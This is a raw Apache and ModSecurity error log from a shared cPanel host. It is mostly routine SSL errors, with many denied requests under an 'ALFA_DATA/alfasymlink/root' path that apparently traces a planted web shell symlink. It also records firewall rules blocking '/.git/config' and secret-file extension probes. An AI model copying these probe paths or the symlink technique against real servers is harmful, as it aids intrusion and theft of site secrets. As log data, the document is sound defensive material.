[Sun Oct 25 13:27:47.596512 2026] [ssl:error] [pid 2867885:tid 2867885] (70014)End of file found: [client 100.25.120.246:19501] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:27:51.617105 2026] [ssl:error] [pid 2862773:tid 2862773] (70014)End of file found: [client 34.239.197.197:26755] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:27:55.700794 2026] [ssl:error] [pid 2867890:tid 2867890] (70014)End of file found: [client 100.29.160.53:34948] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:27:58.472560 2026] [core:error] [pid 2862822:tid 2862822] (13)Permission denied: [client 85.208.96.193:50186] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dmaengine-unmap-2/partial
[Sun Oct 25 13:27:59.799905 2026] [ssl:error] [pid 2867836:tid 2867836] (70014)End of file found: [client 52.2.191.202:22920] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:28:04.570093 2026] [security2:error] [pid 2867879:tid 2867879] [client 49.233.45.47:55520] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.curso-de-ventas.com"] [uri "/"] [unique_id "at48JIIGIq5euXyTbvT0xQAAACQ"]
[Sun Oct 25 13:28:04.571075 2026] [authz_core:error] [pid 2867879:tid 2867879] [client 49.233.45.47:55520] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 13:28:07.747374 2026] [core:error] [pid 2867876:tid 2867876] (13)Permission denied: [client 18.207.89.138:48089] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:19/subsystem/devices/device:05/physical_node/driver/unbind
[Sun Oct 25 13:28:08.459791 2026] [core:error] [pid 2867866:tid 2867866] (13)Permission denied: [client 85.208.96.201:32938] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/drm/sections/__tracepoints
[Sun Oct 25 13:28:11.808980 2026] [ssl:error] [pid 2867885:tid 2867885] (70014)End of file found: [client 100.29.164.178:37755] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:28:19.826633 2026] [core:error] [pid 2862773:tid 2862773] (13)Permission denied: [client 23.23.104.107:34102] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:01/PNP0501:01/subsystem/devices/PNP0A03:00/device:04/physical_node/driver/remove_id
[Sun Oct 25 13:28:27.650799 2026] [core:error] [pid 2867836:tid 2867836] (13)Permission denied: [client 3.89.170.186:59584] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/virtio-pci/0000:00:03.0/rescan
[Sun Oct 25 13:28:31.698966 2026] [ssl:error] [pid 2867866:tid 2867866] (70014)End of file found: [client 3.218.35.239:52673] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:28:35.809800 2026] [ssl:error] [pid 2867885:tid 2867885] (70014)End of file found: [client 23.23.212.212:33198] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:28:43.676643 2026] [core:error] [pid 2862773:tid 2862773] (13)Permission denied: [client 3.209.174.110:1277] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:15/subsystem/devices/device:17/subsystem/drivers/hpet/bind
[Sun Oct 25 13:29:04.650693 2026] [ssl:error] [pid 2867866:tid 2867866] (70014)End of file found: [client 54.225.81.20:58661] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:29:08.600060 2026] [ssl:error] [pid 2867885:tid 2867885] (70014)End of file found: [client 107.20.255.194:17340] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:29:11.361342 2026] [security2:error] [pid 2870916:tid 2870916] [client 85.208.96.198:31694] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/fontconfig/conf.avail/61-urw-bookman.conf"] [unique_id "at48Z_wFw76qlSfceadu_wAAAAA"]
[Sun Oct 25 13:29:11.361884 2026] [security2:error] [pid 2870916:tid 2870916] [client 85.208.96.198:31694] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/fontconfig/conf.avail/61-urw-bookman.conf"] [unique_id "at48Z_wFw76qlSfceadu_wAAAAA"]
[Sun Oct 25 13:29:11.362218 2026] [security2:error] [pid 2870916:tid 2870916] [client 85.208.96.198:31694] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/fontconfig/conf.avail/61-urw-bookman.conf"] [unique_id "at48Z_wFw76qlSfceadu_wAAAAA"]
[Sun Oct 25 13:29:11.632374 2026] [ssl:error] [pid 2862773:tid 2862773] (70014)End of file found: [client 3.210.223.61:50877] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:29:18.786587 2026] [core:error] [pid 2862822:tid 2862822] (13)Permission denied: [client 85.208.96.197:40932] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-32/objs_per_slab
[Sun Oct 25 13:29:25.587625 2026] [core:error] [pid 2867879:tid 2867879] (13)Permission denied: [client 185.191.171.2:37218] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pool_workqueue/destroy_by_rcu
[Sun Oct 25 13:29:28.065671 2026] [ssl:error] [pid 2867876:tid 2867876] (70014)End of file found: [client 52.204.37.237:24998] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:29:40.106196 2026] [ssl:error] [pid 2870916:tid 2870916] (70014)End of file found: [client 52.203.65.83:57598] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:29:43.679987 2026] [ssl:error] [pid 2862773:tid 2862773] (70014)End of file found: [client 34.236.185.101:59948] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:29:47.659575 2026] [ssl:error] [pid 2867890:tid 2867890] (70014)End of file found: [client 34.234.197.175:35953] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:29:48.969857 2026] [core:error] [pid 2862822:tid 2862822] (13)Permission denied: [client 185.191.171.18:28968] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-192/slab_size
[Sun Oct 25 13:29:56.513760 2026] [ssl:error] [pid 2867834:tid 2867834] (70014)End of file found: [client 107.22.208.39:61535] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:30:04.122403 2026] [ssl:error] [pid 2867885:tid 2867885] (70014)End of file found: [client 50.16.216.166:18741] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:30:08.106401 2026] [ssl:error] [pid 2870916:tid 2870916] (70014)End of file found: [client 44.194.139.149:25284] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:30:09.576011 2026] [core:error] [pid 2862773:tid 2862773] (13)Permission denied: [client 185.191.171.1:30540] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inode_cache/objs_per_slab
[Sun Oct 25 13:30:12.366445 2026] [ssl:error] [pid 2867890:tid 2867890] (70014)End of file found: [client 3.231.193.38:34372] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:30:15.751423 2026] [ssl:error] [pid 2862822:tid 2862822] (70014)End of file found: [client 3.221.156.96:47068] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:30:19.718267 2026] [ssl:error] [pid 2867834:tid 2867834] (70014)End of file found: [client 44.212.131.50:40461] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:30:24.025343 2026] [ssl:error] [pid 2867879:tid 2867879] (70014)End of file found: [client 98.83.8.142:5290] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:30:31.676376 2026] [ssl:error] [pid 2867885:tid 2867885] (70014)End of file found: [client 100.28.57.133:6882] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:30:39.630682 2026] [core:error] [pid 2867890:tid 2867890] (13)Permission denied: [client 3.81.253.213:52178] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:06/physical_node/rescan
[Sun Oct 25 13:30:43.637186 2026] [security2:error] [pid 2862822:tid 2862822] [client 54.87.95.7:37217] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:08/subsystem/devices/device:01/PNP0303:00/physical_node/driver/00:01/subsystem/devices/00:02/"] [unique_id "at48w8sxP9Gbm0IYLGL81gAAACI"]
[Sun Oct 25 13:30:43.637236 2026] [security2:error] [pid 2862822:tid 2862822] [client 54.87.95.7:37217] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:08/subsystem/devices/device:01/PNP0303:00/physical_node/driver/00:01/subsystem/devices/00:02/"] [unique_id "at48w8sxP9Gbm0IYLGL81gAAACI"]
[Sun Oct 25 13:30:47.700690 2026] [ssl:error] [pid 2867836:tid 2867836] (70014)End of file found: [client 44.207.69.106:2846] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:30:55.734223 2026] [ssl:error] [pid 2867879:tid 2867879] (70014)End of file found: [client 85.208.96.200:51196] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:30:59.737492 2026] [ssl:error] [pid 2867866:tid 2867866] (70014)End of file found: [client 44.215.231.15:27299] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:31:03.668715 2026] [ssl:error] [pid 2862773:tid 2862773] (70014)End of file found: [client 3.232.82.72:13398] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:31:07.663091 2026] [ssl:error] [pid 2862822:tid 2862822] (70014)End of file found: [client 35.174.253.85:4668] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:31:11.921893 2026] [ssl:error] [pid 2867836:tid 2867836] (70014)End of file found: [client 100.29.160.53:9430] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:31:23.585829 2026] [ssl:error] [pid 2867876:tid 2867876] (70014)End of file found: [client 98.84.184.80:27133] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:31:31.643197 2026] [ssl:error] [pid 2862773:tid 2862773] (70014)End of file found: [client 3.224.215.150:42218] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:31:39.737705 2026] [ssl:error] [pid 2862822:tid 2862822] (70014)End of file found: [client 184.72.95.195:22743] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:31:43.674796 2026] [ssl:error] [pid 2867834:tid 2867834] (70014)End of file found: [client 52.70.123.241:49808] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:31:47.565725 2026] [ssl:error] [pid 2867879:tid 2867879] (70014)End of file found: [client 44.193.115.232:43174] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:31:55.586704 2026] [core:error] [pid 2867885:tid 2867885] (13)Permission denied: [client 98.83.178.66:46601] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:01/subsystem/drivers/button/LNXPWRBN:00/input/input0/device/driver/unbind
[Sun Oct 25 13:32:03.608176 2026] [ssl:error] [pid 2867890:tid 2867890] (70014)End of file found: [client 35.173.18.61:34464] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:32:11.723305 2026] [ssl:error] [pid 2867834:tid 2867834] (70014)End of file found: [client 44.208.223.68:51105] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:32:15.583310 2026] [ssl:error] [pid 2867879:tid 2867879] (70014)End of file found: [client 52.45.194.165:11579] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:32:19.126988 2026] [core:error] [pid 2867876:tid 2867876] (13)Permission denied: [client 85.208.96.199:15646] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mqueue_inode_cache/slabs_cpu_partial
[Sun Oct 25 13:32:19.616322 2026] [core:error] [pid 2867866:tid 2867866] (13)Permission denied: [client 54.156.248.117:19586] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/subsystem/drivers/uhci_hcd/remove_id
[Sun Oct 25 13:32:23.706437 2026] [ssl:error] [pid 2867885:tid 2867885] (70014)End of file found: [client 23.21.227.240:51686] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:32:33.194397 2026] [core:error] [pid 2867890:tid 2867890] (13)Permission denied: [client 185.191.171.14:28546] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mqueue_inode_cache/alloc_calls
[Sun Oct 25 13:32:35.750972 2026] [ssl:error] [pid 2862822:tid 2862822] (70014)End of file found: [client 18.215.49.176:31214] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:32:39.761822 2026] [ssl:error] [pid 2867834:tid 2867834] (70014)End of file found: [client 34.195.248.30:55824] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:32:43.556358 2026] [ssl:error] [pid 2867879:tid 2867879] (70014)End of file found: [client 54.156.124.2:12218] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:32:51.715781 2026] [ssl:error] [pid 2867885:tid 2867885] (70014)End of file found: [client 23.21.227.240:12253] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:32:56.076259 2026] [core:error] [pid 2870916:tid 2870916] (13)Permission denied: [client 3.93.211.16:51392] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory3/node0/memory7/subsystem/drivers_probe
[Sun Oct 25 13:32:59.870669 2026] [ssl:error] [pid 2862773:tid 2862773] (70014)End of file found: [client 54.225.181.161:18368] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:33:00.130150 2026] [ssl:error] [pid 2867890:tid 2867890] (70014)End of file found: [client 185.191.171.5:38810] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:33:23.764590 2026] [ssl:error] [pid 2867885:tid 2867885] (70014)End of file found: [client 3.215.59.93:48185] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:33:27.718454 2026] [core:error] [pid 2870916:tid 2870916] (13)Permission denied: [client 3.221.244.28:37263] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:03.0/firmware_node/physical_node/subsystem/drivers/cirrus/0000:00:02.0/driver/uevent
[Sun Oct 25 13:33:29.200244 2026] [core:error] [pid 2862773:tid 2862773] (13)Permission denied: [client 185.191.171.2:20222] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_groupinfo_4k/objects_partial
[Sun Oct 25 13:33:31.746900 2026] [core:error] [pid 2867890:tid 2867890] (13)Permission denied: [client 52.0.218.219:46182] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event0/subsystem/input4/event2/subsystem/input5/device/driver/pcspkr/driver/uevent
[Sun Oct 25 13:33:35.760484 2026] [ssl:error] [pid 2862822:tid 2862822] (70014)End of file found: [client 52.205.113.104:56056] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:33:37.172944 2026] [core:error] [pid 2867836:tid 2867836] (13)Permission denied: [client 85.208.96.202:25096] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-64/slabs_cpu_partial
[Sun Oct 25 13:33:43.742663 2026] [ssl:error] [pid 2867879:tid 2867879] (70014)End of file found: [client 34.204.150.196:43048] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:33:51.681054 2026] [core:error] [pid 2867885:tid 2867885] (13)Permission denied: [client 23.21.227.240:2226] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:02.0/graphics/fb0/device/subsystem/devices/0000:00:01.2/subsystem/drivers/cirrus/module/uevent
[Sun Oct 25 13:34:03.753916 2026] [ssl:error] [pid 2867890:tid 2867890] (70014)End of file found: [client 52.71.46.142:27605] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:34:08.107982 2026] [core:error] [pid 2867836:tid 2867836] (13)Permission denied: [client 185.191.171.4:17502] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/lsm_file_cache/slabs
[Sun Oct 25 13:34:11.869575 2026] [ssl:error] [pid 2867834:tid 2867834] (70014)End of file found: [client 44.194.139.149:64500] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:34:27.811459 2026] [core:error] [pid 2870916:tid 2870916] (13)Permission denied: [client 100.28.57.133:39884] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory2/node0/compact
[Sun Oct 25 13:34:31.813762 2026] [ssl:error] [pid 2862822:tid 2862822] (70014)End of file found: [client 34.225.87.80:7965] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:34:35.712869 2026] [ssl:error] [pid 2867836:tid 2867836] (70014)End of file found: [client 52.202.52.82:20567] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:34:39.933036 2026] [core:error] [pid 2867834:tid 2867834] (13)Permission denied: [client 54.87.62.248:6982] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:01.1/subsystem/drivers/virtio-pci/0000:00:05.0/subsystem/devices/0000:00:04.0/driver/remove_id
[Sun Oct 25 13:34:43.807004 2026] [ssl:error] [pid 2867879:tid 2867879] (70014)End of file found: [client 34.206.193.60:35361] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:34:43.807203 2026] [security2:error] [pid 2867879:tid 2867879] [client 34.206.193.60:35361] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/LNXSYBUS:00/PNP0A03:00/wakeup/wakeup7/name"] [unique_id "at49s4IGIq5euXyTbvT00wAAACQ"]
[Sun Oct 25 13:34:43.807238 2026] [security2:error] [pid 2867879:tid 2867879] [client 34.206.193.60:35361] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/LNXSYBUS:00/PNP0A03:00/wakeup/wakeup7/name"] [unique_id "at49s4IGIq5euXyTbvT00wAAACQ"]
[Sun Oct 25 13:35:03.831258 2026] [ssl:error] [pid 2867890:tid 2867890] (70014)End of file found: [client 52.1.106.130:63073] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:35:07.871059 2026] [core:error] [pid 2867836:tid 2867836] (13)Permission denied: [client 44.221.105.234:59501] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/PNP0A03:00/physical_node/0000:00:02.0/driver/unbind
[Sun Oct 25 13:35:11.782551 2026] [ssl:error] [pid 2867834:tid 2867834] (70014)End of file found: [client 35.171.141.42:13931] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:35:31.773761 2026] [core:error] [pid 2867890:tid 2867890] (13)Permission denied: [client 52.5.232.250:35283] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:02.0/subsystem/drivers/ata_piix/0000:00:01.1/driver/0000:00:01.1/subsystem/drivers_probe
[Sun Oct 25 13:35:36.070505 2026] [ssl:error] [pid 2867836:tid 2867836] (70014)End of file found: [client 52.44.229.124:45769] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:35:43.136021 2026] [core:error] [pid 2867879:tid 2867879] (13)Permission denied: [client 185.191.171.15:40586] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/taskstats/align
[Sun Oct 25 13:35:59.782981 2026] [ssl:error] [pid 2867890:tid 2867890] (70014)End of file found: [client 52.44.148.203:2003] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:36:01.198898 2026] [core:error] [pid 2862822:tid 2862822] (13)Permission denied: [client 185.191.171.14:51698] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-1k/red_zone
[Sun Oct 25 13:36:11.250713 2026] [core:error] [pid 2867879:tid 2867879] (13)Permission denied: [client 85.208.96.206:64590] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-192/object_size
[Sun Oct 25 13:36:15.761761 2026] [ssl:error] [pid 2867866:tid 2867866] (70014)End of file found: [client 23.23.103.31:31112] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:36:22.227351 2026] [security2:error] [pid 2870916:tid 2870916] [client 162.158.103.13:10683] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "arg1.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at4-FvwFw76qlSfceadvDgAAAAA"]
[Sun Oct 25 13:36:22.227711 2026] [security2:error] [pid 2870916:tid 2870916] [client 162.158.103.13:10683] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg1.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at4-FvwFw76qlSfceadvDgAAAAA"]
[Sun Oct 25 13:36:22.228021 2026] [security2:error] [pid 2870916:tid 2870916] [client 162.158.103.13:10683] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "arg1.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at4-FvwFw76qlSfceadvDgAAAAA"]
[Sun Oct 25 13:36:22.231375 2026] [security2:error] [pid 2862773:tid 2862773] [client 162.158.103.13:10675] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "arg1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at4-FlY5e6yJWIYGXiqDhgAAAAk"]
[Sun Oct 25 13:36:22.231592 2026] [security2:error] [pid 2862773:tid 2862773] [client 162.158.103.13:10675] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at4-FlY5e6yJWIYGXiqDhgAAAAk"]
[Sun Oct 25 13:36:22.231829 2026] [security2:error] [pid 2862773:tid 2862773] [client 162.158.103.13:10675] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "arg1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at4-FlY5e6yJWIYGXiqDhgAAAAk"]
[Sun Oct 25 13:36:31.765881 2026] [ssl:error] [pid 2867834:tid 2867834] (70014)End of file found: [client 23.22.105.143:45133] AH02013: coalesce failed to read from data bucket
